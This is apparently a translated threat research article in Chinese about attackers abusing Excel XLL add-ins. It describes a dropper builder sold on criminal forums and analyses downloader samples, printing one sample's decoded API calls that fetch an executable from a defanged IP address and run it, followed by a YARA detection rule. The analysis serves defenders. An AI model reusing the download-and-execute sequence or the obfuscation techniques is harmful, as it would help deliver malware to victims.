攻擊者開始使用 XLL 文件進行攻擊
近期,研究人員發現使用惡意 Microsoft Excel 加載項(XLL)文件發起攻擊的行動有所增加,這項技術的 MITRE ATT&CK 技術項編號為 T1137.006。
這些加載項都是為了使用戶能夠利用高性能函數,為 Excel 工作表提供 API 調用接口。與 VBA 等其他接口相比,該方式能夠更有效地擴展 Excel 的能力,使其支持更多功能,例如多線程。現在,攻擊者也濫用這項技術來達成自己的惡意目標。
攻擊者將帶有惡意 XLL 附件或者惡意鏈接的電子郵件發送給用戶,受害者點擊附件打開 Microsoft Excel 后會提示其安裝并激活加載項。
提示信息
攻擊者通常將代碼置于 xlAutoOpen函數中,該函數會在加載項被激活時立即觸發執行。這意味著,與要求用戶啟用宏的 VBA 宏不同,受害者只要打開就會執行惡意代碼。
由于 XLL 是可移植的可執行文件,許多電子郵件網關都會攔截該格式的文件或者僅允許受信任簽名的加載項。
XLL 惡意軟件出售
因為 XLL 惡意文件的快速增長,我們在地下犯罪論壇上進行了相應的調查,評估使用這種文件格式的惡意工具和服務的流行程度。
在讀個地下犯罪論壇中,反復看到來自同一個攻擊者的廣告,正在銷售一個可以創建 XLL Dropper 的構建工具。
地下論壇銷售廣告
用戶指定一個可執行文件或下載誘餌文件的鏈接地址,生成 XLL 文件。
構建工具截圖
EXCEL-DNA 生成加載項
發現的 XLL 文件大部分都有相同的結構,本質上說,XLL 文件是包含 xlAutoOpen導出函數的 DLL 文件。這些 XLL 文件應該是使用 Excel-DNA工具生成的,包含多個大型的資源。
文件資源段結構
其中包含 Excel-DNA 項目組件以及加載項,可以通過查看資源名或者同樣存儲在資源中的 XML 定義文件來識別包含 Excel 加載項的 XLL 文件。
XML 文件
包含惡意代碼的加載項是使用 .NET 開發的,位于 MODDNA資源中。要分析該惡意代碼,需要將資源保存到硬盤并使用 LZMA 算法進行解壓縮。對 .NET 文件進行反編譯后,可見 XLL 加載項的啟動函數,該加載項為惡意軟件 Downloader。
.NET 文件代碼
使用 Excel-DNA 項目創建的 XLL 文件也可以使用項目提供的腳本自動解壓縮,該腳本將 XLL 文件的路徑作為參數,然后提取、解壓縮并將資源保存到文件夾中。
提取 XLL 文件
自定義生成的加載項
其他不使用 Excel-DNA 的 XLL 文件中,一個 Downloader 大小只有 4.5 KB,但吸引了研究人員的注意。與其他 XLL 文件一樣,該文件也具有導出函數 xlAutoOpen。為了混淆程序控制流,樣本中包含許多連續的 jmp指令。
動態調試截圖
經過分析后,研究人員發現可執行代碼后有一段加密數據。數據在循環中解密,首先確定數據的位置與大小,緊接著進行異或解密。每處理八個字節,密鑰就要對用改變。
解密代碼
一旦數據被解密,樣本可以提取三個 DLL 文件名、五個 API 函數名、Payload 的 URL 以及存儲 Payload 的本地文件路徑。樣本首先通過進程環境塊(PEB)遍歷 InLoadOrderModuleList正確解析所需 DLL 的基址,然后再找到希望調用的 API 函數地址。
解析加載模塊
然后,惡意軟件使用解析后的 API 函數下載 Payload 并將其存儲執行。在此樣本中,API 調用如下所示:
GetProcAddress(“ExpandEnvironmentStringsW”)
ExpandEnvironmentStringsW(“”%APPDATA%\joludn.exe””)
LoadLibraryW(“UrlMon”)
GetProcAddress(“URLToDownloadFile”)
URLToDownloadFile(“hxxp://141.95.107[.]91/cgi/dl/8521000125423.exe”, “C:\Users\REDACTED\AppData\Roaming\joludn.exe”)
_wsystem(“C:\Users\REDACTED\AppData\Roaming\joludn.exe”)
檢測 XLL 惡意文件的 Yara 規則為:
rule xll_custom_builder
{
meta:
description = "XLL Custom Builder"
author = "patrick.schlapfer@hp.com"
date = "2022-01-07"
strings:
str2 = "test"
op2 = { 4D 31 0E }
op4 = { 49 39 C6 }
condition:
uint16(0) == 0x5A4D and all of (op*) and filesize < 10KB
}
結論
Microsoft Excel 提供了許多合法執行代碼的方式,如 Excel 4.0 宏、DDE 和 VBA,這些都已經被攻擊者濫用。近期,研究人員發現,Dridex、Agent Tesla、Raccoon Stealer 和 Formbook 等惡意軟件家族也開始利用 XLL 文件進行傳播。利用 XLL 文件攻擊的數量增長,表明攻擊者對這種技術很感興趣。